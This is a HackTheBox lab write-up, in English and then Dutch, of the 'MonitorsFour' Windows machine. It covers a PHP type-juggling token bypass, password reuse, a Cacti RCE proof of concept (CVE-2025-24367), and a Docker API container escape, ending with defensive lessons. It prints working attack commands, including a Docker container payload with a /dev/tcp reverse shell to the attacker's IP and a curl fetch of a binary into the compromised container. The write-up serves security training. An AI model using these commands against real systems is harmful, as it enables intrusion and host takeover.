MonitorsFour
2 June 2026 2 juni 2026
HackTheBox — MonitorsFour (Easy) Writeup
MonitorsFour is an easy Windows machine (10.129.7.65). We leak the user database
through a PHP type juggling bug, reuse a cracked password on an outdated Cacti
install for remote code execution, do some network recon from inside a Docker
container, and finally abuse an unauthenticated Docker API to mount the Windows
host filesystem and read the root flag. Each step is explained for beginners,
including the why.
Tools used
| Tool | Purpose | Install |
|------|---------|---------|
| nmap | Scan open ports and services | sudo apt install nmap |
| gobuster | Brute-force directories and vhosts | sudo apt install gobuster |
| hashcat | Crack MD5 hashes | sudo apt install hashcat |
| curl | HTTP requests (exploit + Docker API) | sudo apt install curl |
| netcat | Catch the reverse shell | sudo apt install netcat-traditional |
| wget | Download the PoC | sudo apt install wget |
| golang | Compile fscan | sudo apt install golang |
| fscan | Scan the internal network | git clone + go build |
Step 1 — Enumeration
We always start with an nmap scan to see which ports are open.
sudo nmap -sC -sV 10.129.7.65
Flag explanation:
-sC— run the default NSE scripts (extra info about services)-sV— detect service version numbers
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-27 18:11 +0000
Nmap scan report for 10.129.7.65
Host is up (0.010s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
| Port | Service | What does this mean? |
|------|---------|----------------------|
| 80 | nginx (HTTP) | Web server, redirects to monitorsfour.htb |
| 5985 | WinRM | Windows Remote Management — remote shell once we have creds |
The redirect reveals a hostname, so we link the IP to it in /etc/hosts:
echo "10.129.7.65 monitorsfour.htb" | sudo tee -a /etc/hosts
Next we brute-force directories with gobuster:
gobuster dir -u http://monitorsfour.htb \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
> Beginner tip: common.txt is often too small. Use
> directory-list-2.3-small.txt or larger for better results.
Found endpoints:
| Endpoint | Type |
|----------|------|
| /user | API endpoint |
| /forgot-password | Page |
| /login | Page |
Then a vhost scan to find subdomains:
gobuster vhost -u http://monitorsfour.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
> Common mistake: Use a DNS wordlist, not a directory wordlist. Add
> --append-domain so gobuster automatically puts .monitorsfour.htb behind
> every word.
This finds the subdomain cacti.monitorsfour.htb — add it to /etc/hosts too.
Step 2 — Foothold: PHP type juggling
The /user endpoint expects a token parameter. In the browser's network tab on/forgot-password we can see the server runs PHP (X-Powered-By: PHP/8.3.27) and
that it calls /api/v1/reset.
Vulnerability: PHP type juggling. PHP compares the token with == (loose
comparison) instead of === (strict comparison). A token that starts with 0e
followed by only digits is read as scientific notation (0 × 10^x = 0), so two
different tokens are considered equal.
curl "http://monitorsfour.htb/user?token=0e1234567890"
> Beginner tip: Letters after 0e do not work — it has to be pure digits.
> Try 0e1234567890 or similar.
This leaks the full user database including MD5-hashed passwords. You recognise
MD5 by its length of 32 characters — confirm the hash type on hashes.com. The
admin password cracks to <MONITORSFOUR_PASSWORD>.
Step 3 — Cacti RCE (CVE-2025-24367)
cacti.monitorsfour.htb runs Cacti 1.2.28 (shown at the bottom of the login
page). Logging in as admin fails, but marcus with <MONITORSFOUR_PASSWORD>
works — password reuse.
Vulnerability: CVE-2025-24367 lets an authenticated user inject arbitrary PHP
code into the web root through the graph template functionality, leading to Remote
Code Execution.
Download the PoC from GitHub — always grab the Raw version, not the HTML page:
wget https://raw.githubusercontent.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/main/exploit.py
> Common mistake: Downloading via the normal GitHub URL gives you HTML instead
> of Python code. Always use the Raw URL or click the Raw button on GitHub.
Run the script from your home directory (not from a directory without write
permissions):
cd ~
python3 exploit.py
> Common mistake: Running the script from a directory where you have no write
> permissions crashes it with a PermissionError, because it tries to create a log
> file.
Start a netcat listener in a separate terminal first:
nc -lnvp 4445
Result: a reverse shell as www-data inside a Docker container (821fbd6a43fa).
Step 4 — Network recon from inside the container
Check which network you are on:
ip route
ip addr
You see the internal Docker network 172.18.0.0/16. Via /etc/resolv.conf you
discover the Docker Desktop host IP:
cat /etc/resolv.conf
192.168.65.7 is listed as the external DNS server — this is the Docker Desktop
host. To find other hosts and ports, we upload fscan (a statically compiled
network scanner).
On Kali — compile fscan from source:
sudo apt update && sudo apt install golang -y
git clone https://github.com/shadow1ng/fscan
cd fscan
go build -o fscan main.go
> Why compile? fscan is written in Go. The source is not directly executable —
> you need a compiled binary. Go links statically, so the binary needs no external
> libraries and runs even inside a bare Docker container.
On Kali — start an HTTP server in the directory containing fscan:
python3 -m http.server 8080
> Common mistake: Start the HTTP server in the directory where fscan lives,
> otherwise the container cannot find the file.
In the container — download fscan and run it:
curl -o /tmp/fscan http://10.10.15.29:8080/fscan
chmod +x /tmp/fscan
cd /tmp
./fscan -h 172.18.0.0/24
> Common mistake: Use ./fscan, not fscan — without ./ bash searches the
> PATH and does not find the binary.
Step 5 — Container escape: unauthenticated Docker API
fscan showed two active hosts. Port 2375 on 192.168.65.7 was open — the Docker
daemon API without authentication.
curl http://192.168.65.7:2375/containers/json
curl http://192.168.65.7:2375/images/json
Vulnerability: the Docker daemon API is reachable without authentication. This
gives full control over every container and image on the host.
Exploit — create a new container with the host filesystem mounted:
curl -X POST http://192.168.65.7:2375/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"docker_setup-nginx-php:latest","Cmd":["/bin/bash","-c","bash -i > /dev/tcp/10.10.15.29/4446 0>&1 2>&1"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}'
> Why docker_setup-nginx-php and not alpine? Alpine uses ash as its shell and
> does not support /dev/tcp. The nginx-php image has bash installed.
> Common mistake: The JSON syntax must be exactly right. Put everything on one
> line and use double quotes inside the single quotes.
Start the container (use the ID from the previous response):
curl -X POST http://192.168.65.7:2375/containers/<CONTAINER_ID>/start
Result: a root shell in the new container with the full Windows host filesystem
accessible under /host_root.
Step 6 — Root flag
ls /host_root/Users/Administrator/Desktop/
cat /host_root/Users/Administrator/Desktop/root.txt
REDACTED
Attack chain overview
[Step 1 — nmap + gobuster: port 80, WinRM, /user, cacti vhost]
-> [Step 2 — PHP type juggling -> user DB -> MD5 cracked]
-> [Step 3 — Cacti 1.2.28 RCE (CVE-2025-24367) -> www-data in container]
-> [Step 4 — fscan recon -> Docker host 192.168.65.7]
-> [Step 5 — unauthenticated Docker API 2375 -> host mount]
-> [Step 6 — root on Windows host]
Lessons Learned
1. PHP type juggling is dangerous in token validation — always use ===.
2. Password reuse across applications gives attackers easy access.
3. Outdated software: Cacti must be kept up to date — CVE-2025-24367 is patched
in version 1.2.29.
4. Docker daemon on TCP port 2375 without authentication gives full control —
never enable it.
5. Subdomains are just as important as directories during web enumeration.
6. Download raw files from GitHub — never the HTML page.
HackTheBox — MonitorsFour (Easy) Writeup
MonitorsFour is een easy Windows-machine (10.129.7.65). We lekken de
gebruikersdatabase via een PHP type juggling-bug, hergebruiken een gekraakt
wachtwoord op een verouderde Cacti-installatie voor remote code execution, doen
netwerkverkenning vanuit een Docker-container, en misbruiken tot slot een
onbeveiligde Docker API om het Windows-bestandssysteem te mounten en de root flag
te lezen. Elke stap is uitgelegd voor beginners, inclusief het waarom.
Benodigde tools
| Tool | Waarvoor | Installatie |
|------|----------|-------------|
| nmap | Open poorten en services scannen | sudo apt install nmap |
| gobuster | Mappen en vhosts brute-forcen | sudo apt install gobuster |
| hashcat | MD5-hashes kraken | sudo apt install hashcat |
| curl | HTTP-requests (exploit + Docker API) | sudo apt install curl |
| netcat | Reverse shell opvangen | sudo apt install netcat-traditional |
| wget | PoC downloaden | sudo apt install wget |
| golang | fscan compileren | sudo apt install golang |
| fscan | Intern netwerk scannen | git clone + go build |
Stap 1 — Enumeratie
We beginnen altijd met een nmap-scan om te zien welke poorten openstaan.
sudo nmap -sC -sV 10.129.7.65
Uitleg van de flags:
-sC— voer standaard NSE-scripts uit (extra info over services)-sV— detecteer versienummers van services
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-27 18:11 +0000
Nmap scan report for 10.129.7.65
Host is up (0.010s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
| Poort | Service | Wat betekent dit? |
|-------|---------|-------------------|
| 80 | nginx (HTTP) | Webserver, stuurt door naar monitorsfour.htb |
| 5985 | WinRM | Windows Remote Management — remote shell als we creds hebben |
De redirect verraadt een hostname, dus koppelen we het IP eraan in /etc/hosts:
echo "10.129.7.65 monitorsfour.htb" | sudo tee -a /etc/hosts
Vervolgens brute-forcen we mappen met gobuster:
gobuster dir -u http://monitorsfour.htb \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
> Tip voor beginners: common.txt is vaak te klein. Gebruik
> directory-list-2.3-small.txt of groter voor betere resultaten.
Gevonden endpoints:
| Endpoint | Type |
|----------|------|
| /user | API-endpoint |
| /forgot-password | Pagina |
| /login | Pagina |
Daarna een vhost-scan om subdomeinen te vinden:
gobuster vhost -u http://monitorsfour.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
> Veelgemaakte fout: Gebruik een DNS-wordlist, geen directory-wordlist. Voeg
> --append-domain toe zodat gobuster automatisch .monitorsfour.htb achter elk
> woord plakt.
Dit vindt het subdomein cacti.monitorsfour.htb — ook toevoegen aan /etc/hosts.
Stap 2 — Foothold: PHP type juggling
Het /user-endpoint verwacht een token-parameter. Via de network tab in de
browser bij /forgot-password is zichtbaar dat de server PHP draait
(X-Powered-By: PHP/8.3.27) en dat het endpoint /api/v1/reset aanroept.
Kwetsbaarheid: PHP type juggling. PHP vergelijkt het token met == (loose
comparison) in plaats van === (strict comparison). Een token dat begint met 0e
gevolgd door alleen cijfers wordt gezien als wetenschappelijke notatie
(0 × 10^x = 0), waardoor twee verschillende tokens als gelijk worden beschouwd.
curl "http://monitorsfour.htb/user?token=0e1234567890"
> Tip voor beginners: Letters na 0e werken niet — het moet puur cijfers zijn.
> Probeer 0e1234567890 of vergelijkbaar.
Dit lekt de volledige gebruikersdatabase inclusief MD5-gehashte wachtwoorden.
Hashes herken je aan de lengte van 32 tekens — controleer het type via hashes.com.
Het admin-wachtwoord werd gekraakt naar <MONITORSFOUR_PASSWORD>.
Stap 3 — Cacti RCE (CVE-2025-24367)
Op cacti.monitorsfour.htb draait Cacti 1.2.28 (zichtbaar onderaan de
loginpagina). Inloggen lukt niet met admin, maar wel met gebruiker marcus en<MONITORSFOUR_PASSWORD> — wachtwoordhergebruik.
Kwetsbaarheid: CVE-2025-24367 laat een geauthenticeerde gebruiker via de graph
template-functionaliteit arbitraire PHP-code in de webroot injecteren, wat leidt
tot Remote Code Execution.
PoC-script downloaden van GitHub — let op: download altijd de Raw-versie, niet de
HTML-pagina:
wget https://raw.githubusercontent.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/main/exploit.py
> Veelgemaakte fout: Download je via de normale GitHub-URL, dan krijg je HTML
> in plaats van Python-code. Gebruik altijd de Raw-URL of klik op de Raw-knop op
> GitHub.
Voer het script uit vanuit je home directory (niet vanuit een map zonder
schrijfrechten):
cd ~
python3 exploit.py
> Veelgemaakte fout: Voer je het script uit vanuit een map zonder schrijfrechten,
> dan crasht het met een PermissionError omdat het een logbestand probeert aan te
> maken.
Start eerst een netcat listener in een apart terminalvenster:
nc -lnvp 4445
Resultaat: een reverse shell als www-data in een Docker-container
(821fbd6a43fa).
Stap 4 — Netwerkverkenning vanuit de container
Controleer op welk netwerk je zit:
ip route
ip addr
Je ziet het interne Docker-netwerk 172.18.0.0/16. Via /etc/resolv.conf ontdek
je het Docker Desktop host-IP:
cat /etc/resolv.conf
192.168.65.7 staat vermeld als externe DNS-server — dit is de Docker Desktop
host. Om andere hosts en poorten te vinden, uploaden we fscan (een statisch
gecompileerde netwerkscanner).
Op Kali — fscan compileren vanuit de broncode:
sudo apt update && sudo apt install golang -y
git clone https://github.com/shadow1ng/fscan
cd fscan
go build -o fscan main.go
> Waarom compileren? fscan is geschreven in Go. De broncode is niet direct
> uitvoerbaar — je hebt een gecompileerde binary nodig. Go linkt statisch, dus de
> binary heeft geen externe libraries nodig en werkt zelfs in een kale
> Docker-container.
Op Kali — start een HTTP-server in de map met fscan:
python3 -m http.server 8080
> Veelgemaakte fout: Start de HTTP-server in de map waar fscan staat, anders kan
> de container het bestand niet vinden.
In de container — fscan downloaden en uitvoeren:
curl -o /tmp/fscan http://10.10.15.29:8080/fscan
chmod +x /tmp/fscan
cd /tmp
./fscan -h 172.18.0.0/24
> Veelgemaakte fout: Gebruik ./fscan, niet fscan — zonder ./ zoekt bash in
> de PATH en vindt de binary niet.
Stap 5 — Container escape: onbeveiligde Docker API
fscan toonde twee actieve hosts. Poort 2375 op 192.168.65.7 bleek open — de
Docker daemon-API zonder authenticatie.
curl http://192.168.65.7:2375/containers/json
curl http://192.168.65.7:2375/images/json
Kwetsbaarheid: de Docker daemon-API is zonder authenticatie bereikbaar. Dit
geeft volledige controle over alle containers en images op de host.
Exploit — een nieuwe container aanmaken met het host-bestandssysteem gemount:
curl -X POST http://192.168.65.7:2375/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"docker_setup-nginx-php:latest","Cmd":["/bin/bash","-c","bash -i > /dev/tcp/10.10.15.29/4446 0>&1 2>&1"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}'
> Waarom docker_setup-nginx-php en niet alpine? Alpine gebruikt ash als shell
> en ondersteunt /dev/tcp niet. De nginx-php image heeft bash wél geïnstalleerd.
> Veelgemaakte fout: De JSON-syntax moet exact kloppen. Zet alles op één regel en
> gebruik dubbele aanhalingstekens binnen de enkele aanhalingstekens.
Start de container (gebruik het ID uit de vorige response):
curl -X POST http://192.168.65.7:2375/containers/<CONTAINER_ID>/start
Resultaat: een root shell in de nieuwe container met het volledige Windows host
filesystem toegankelijk via /host_root.
Stap 6 — Root flag
ls /host_root/Users/Administrator/Desktop/
cat /host_root/Users/Administrator/Desktop/root.txt
REDACTED
Overzicht van de aanvalsketen
[Stap 1 — nmap + gobuster: poort 80, WinRM, /user, cacti vhost]
-> [Stap 2 — PHP type juggling -> user-DB -> MD5 gekraakt]
-> [Stap 3 — Cacti 1.2.28 RCE (CVE-2025-24367) -> www-data in container]
-> [Stap 4 — fscan-verkenning -> Docker-host 192.168.65.7]
-> [Stap 5 — onbeveiligde Docker API 2375 -> host-mount]
-> [Stap 6 — root op Windows host]
Lessons Learned
1. PHP type juggling is gevaarlijk bij tokenvalidatie — gebruik altijd ===.
2. Wachtwoordhergebruik tussen applicaties geeft aanvallers eenvoudig toegang.
3. Verouderde software: Cacti moet up-to-date zijn — CVE-2025-24367 is gepatcht
in versie 1.2.29.
4. Docker daemon op TCP-poort 2375 zonder authenticatie geeft volledige
controle — nooit inschakelen.
5. Subdomeinen zijn net zo belangrijk als directories bij webserver-enumeratie.
6. Raw-bestanden downloaden van GitHub — nooit de HTML-pagina.